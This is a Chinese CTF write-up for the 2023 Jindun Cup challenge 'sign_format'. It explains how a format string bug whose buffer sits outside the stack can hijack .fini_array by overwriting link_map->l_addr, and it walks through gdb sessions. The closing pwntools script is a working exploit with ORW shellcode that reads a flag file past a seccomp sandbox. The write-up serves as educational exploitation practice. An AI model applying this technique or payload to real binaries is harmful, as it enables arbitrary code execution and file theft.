首页 > 其他分享 >PWN-非栈上格式化字符串之.fini_array劫持

PWN-非栈上格式化字符串之.fini_array劫持

时间:2023-12-09 21:13:38浏览次数:32  
标签:非栈 格式化 fini 地址 io PWN array lambda

1. .fini_array劫持

上周打了一下金盾杯,算是第一次做非栈上格式化字符串的题,之前只在ctfwiki上看过一点。边学边做,比赛最后一个小时做出来了,爽了。
以金盾杯的题为例

1.1 2023金盾杯 sign_format

题目介绍:一道非栈上的格式化字符串,通过修改dl_fini数组里的偏移值,使函数在退出时执行我们写在bss段上的shellcode。

题目保护分析:没开PIE,其他防护都开了。其次开启了沙箱,需要ORW

题目主要流程:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  sub_40135D();
  puts("Welcome here!");
  puts("It's a simple sign-in question.");
  puts("Let's start!");
  close(1);
  read(0, format, 0x100uLL);
  printf(format);
  return 0LL;
}

有一个很长的输入,之后是格式化字符串漏洞,但是关闭了标准输出流。

其中format保存在bss段上,所以不能修改返回地址了。
格式化字符串%n解析的是地址,当格式化字符串不写在栈上,我们无法通过访问写在栈上的地址来实现任意地址写。而且不能控制返回地址了。

考虑使用.fini_array劫持

1.2 劫持.fini_array

实现功能:在执行exit函数的时候,执行任意地址上的程序

利用条件:需要修改一个在ld.so段上的值。
猜测这个值会在进行动态链接的时候过程中残留在栈上(存疑)

1.2.1 原理分析

下面是程序执行流程图:

image

根据上图流程,在函数退出执行的时候会调用exit函数,如果我们控制exit函数的finiarray,可以实现任意代码执行,下面我们具体分析一下finiarray这个参数是什么:

1.2.2 dl_fini函数

image

exit函数执行的时候会调用dl_fini函数。

本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000403D98

image

如果我们能控制linkmap->l_addr指针,就可以将程序偏移到我们写的位置,执行shellcode。
需要注意这里存的是一个程序地址:0x401200,所以我们伪造l_addr的时候将偏移后的值改为shellcode的地址。

那么如何通过格式化字符串控制l_addr呢?这个就需要用到在栈上留存的一个ld.so上的指针了

1.3 gdb动态分析利用过程

首先,在main函数执行完毕之后会跳转到exit函数执行:

image

然后我们步进到exit函数中:

image

可见exit函数会调用一个叫__run_exit_handlers的函数
继续步进,直到这个函数调用了__dl_fini函数,然后dl_fini函数会执行call rax地址:
image

具体查看rax地址是0x40406b,指向0x404073,其实这里已经是被我们修改了。原本rax应该是0x0403D98 -> 0x401200,原本是要去执行这个代码的:
image

dl_fini函数:
image

当我们修改了l_addr之后,array[i]就可以被控制了。

而我们只需要计算0x40406B - 0x403D98 = 723,就知道我们应该把l_addr改成多少了。那么我们怎么改这个值呢?

1.4 修改ElfW中l->l_addr劫持fini_array执行

前面我们说过了,在栈上有一个ld.so的地址残留,猜测是在动态链接的过程中残留在栈上的,对应这道题:

image

就是那个末尾是0x2e0的粉色的地址。里面存的值0x2d3就是723,这里是执行完格式化字符串漏洞,已经被我们修改过了。原本里面存的应该是0,对应的就是l->l_addr = 0

具体在dl_fini函数中:
image

执行 add rax,qword ptr [r15] ,这个r15此时保存的就是栈上ld.so保存的那个数据,那么只要利用格式化字符串漏洞修改这个ld.so地址中存的值,就可以控制让rax中保存的值从0x401200+0x0 改为访问我们希望执行的shellcode的地址。
这里就是对应l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr,从而让fini_array被劫持。
而具体改为什么数字,我们前面已经计算过了:0x40406B - 0x403D98 = 723
接下来只需要找到ld.so这个地址的格式化字符串偏移,然后将他里面存放的数据从0修改为723即可。

这里插一嘴

在执行dl_fini的过程中有几步rax的值是0x403e00:

image

这个其实是.dynamic节的地址,保存的是用于动态链接函数的信息表地址,或者其他什么地址。这个需要看具体值:
image

结构体如下:
typedef struct{
	ELF64_Sxword d_tag;
	union{
		ELF64_Xword d_val;
		ELF64_Addr d_ptr;
	}d_un;
}ELF64_Dyn;

这个结构体根据第一个值d_tag的具体取值选择对应第二个值是用来做什么的。
这里应该是用来找dl_fini的偏移。
这个学过ret2dlresolve的师傅应该很熟悉

言归正传

1.4 exp

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/City/jindun/2023/pwn1"
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(banary)
# libc = ELF("/home/giantbranch/PWN/libc/libc.so.6")
# libc=ELF("/home/giantbranch/PWN/libc/libc6_2.27-3ubuntu1.5_amd64.so")
ip = '123.56.237.147'
port = 47726
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()

main_read = 0x0040144A

bss = 0x0404060

fini_array = 0x403d90   #0x403d98 - 0x403da0  .fini_array
    # array[0]->__do_global_dtors_aux
    # array[1]->fini

# payload = b"%"+b"240c%21$hhn"
# payload = b"%"+b"584c%34$hn"
#0x403fe0
# payload = b"%"+b"723c%34$hn"
payload = b"%"+b"723c%34$hn"

payload2= """
   push   0x67616c66
   push   0x2
   pop    rax
   mov    rdi,rsp
   xor    rsi,rsi
   syscall
   mov    rdi,rax
   xor    rax,rax
   mov    rsi,0x404200
   push   0x30
   pop    rdx
   syscall
   push   0x1
   pop    rax
   push   0x2
   pop    rdi
   mov    rsi,0x404200
   push   0x30
   pop    rdx
   syscall
"""
print(len(payload))
payload = payload + p64(0x40406b+8)+ asm(payload2)
print(len(payload))
dbg()
sl(payload)

ia()
    

最后附上比赛时候参考的博客:
算是比赛的时候好好学了学非栈上格式化字符串了。
这个讲非栈上格式化字符串的:
非栈上格式化字符串漏洞利用技巧

这个讲dl_fini劫持的:
BUUCTF_de1ctf_2019_unprintable
de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

标签:非栈,格式化,fini,地址,io,PWN,array,lambda
From: https://www.cnblogs.com/seyedog/p/17891490.html

相关文章

  • KEILC51编译问题ERROR L104: MULTIPLE PUBLIC DEFINITIONS重复定义
    这个问题是keil中比较常见的,但对于很多新手比较头疼的像出现这种104的报错 出现上述错误则是因为函数Delay_ms重复定义,我们只需要把这个函数名改一个就OK了 我们可以把.c.h文件的Delay_ms改为Delay1_ms,在调用函数也改为Delay1_ms,然后编译就不会出错了。 ......
  • 你想有多pwn
    第一章1.1认识程序file、ldd1.2gdb调试一、指令1、start、run2、断点设置断点bmian、b*0x123456查看断点infob、ib让断点失效disableb序号恢复断点enableb序号删除断点d序号步过、步进......
  • PWN入门之Stack Overflow
    本文是i春秋论坛签约作家「Binarystar」分享的技术文章,旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。大家好,我是Binarystar,目前从事于公安行业,擅长Web、二进制和电子取证方向。能把网络安全技能运用在工作中,与我的职业结合起来做有意义的事,是非常自豪的,我希望通......
  • CTFpwn全保护简单介绍及一道保护全开题
    今日份心脏骤停,噔噔咚!每种保护介绍FullRELRO保护原理:其实就是不让你改写got表中的内容。影响:不能劫持stack_chk_fail函数以绕过canary,不能劫持动态链接里面已经调用过的函数。(不懂libc快去翻我文章doge)Canary保护原理:在所有函数的栈的末尾(比如rbp-8)插入一个值,叫做canary,在......
  • CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp
    三个例子的引入目前我遇到的格式化字符串漏洞(formatstring,后文简称fmt)主要存在于printf函数,本文也就以printf举例。例一,标准格式的printf read(0,buf,33);printf("%s",buf);例二,占位符与变量 printf("%d%c%s",a,b,c);//%d%c%s会访问变量以输出整型,字符等。其中a,b,c为三......
  • PWN学习之LLVM入门
    一、基本流程①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位:②通过逆向,找到函数名及参数,编写基本exp③找到漏洞,写利用exp.c,其中的pwn的目标是op......
  • 【pwn】orw&rop --泄露libc基址,orw
    我们先看看程序的保护的情况因为题目提示了orw,我们可以沙箱检测一下可以发现是禁用的execve函数的,接着看函数逻辑这里格式化字符串漏洞可以泄露canary和puts函数地址,先确定一下参数位置可以发现参数是在第六个位置,接下来就是构造ROP,调用read函数读取shellcode到mmap开辟的......
  • 【pwn】puts or system? --格式化字符串漏洞泄露libc基址
    还是先看一下保护情况开了canary,接着看主函数逻辑看到这里的代码逻辑,我一开始是想通过printf泄露出canary的值,然后再用ret2libc来打,但是我发现这个libc不好泄露,一般的泄露的思路都是构造ROP,通过puts函数泄露出puts的got表内容,但是我在寻找rdi这个gadget的时候,是找不到的这也......
  • CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神
    分析这题题目已经在暗示用int数据的overflow了,不过不急,先分析一下。保护基本没啥保护,也挺好,适合不用搞太多花里胡哨的泄露,只需理解这题想告诉你的知识。后门函数看到有一个whatisthis函数,正是我们要的catflag函数。main函数login函数main函数里需要的操作很简单,只需输入一个1就......
  • XCTF-pwn-level0
    下载改题目提供的文件,使用file和checksec进行分析该文件是一个64位的ELF可执行文件,而且开启了NX保护机制,不知道其作用如何使用ida打开,是一道基本的栈溢出return返回vulnerable_function()方法,继续追踪可以看出vulnerable_function()这个方法有return返回了read()方法......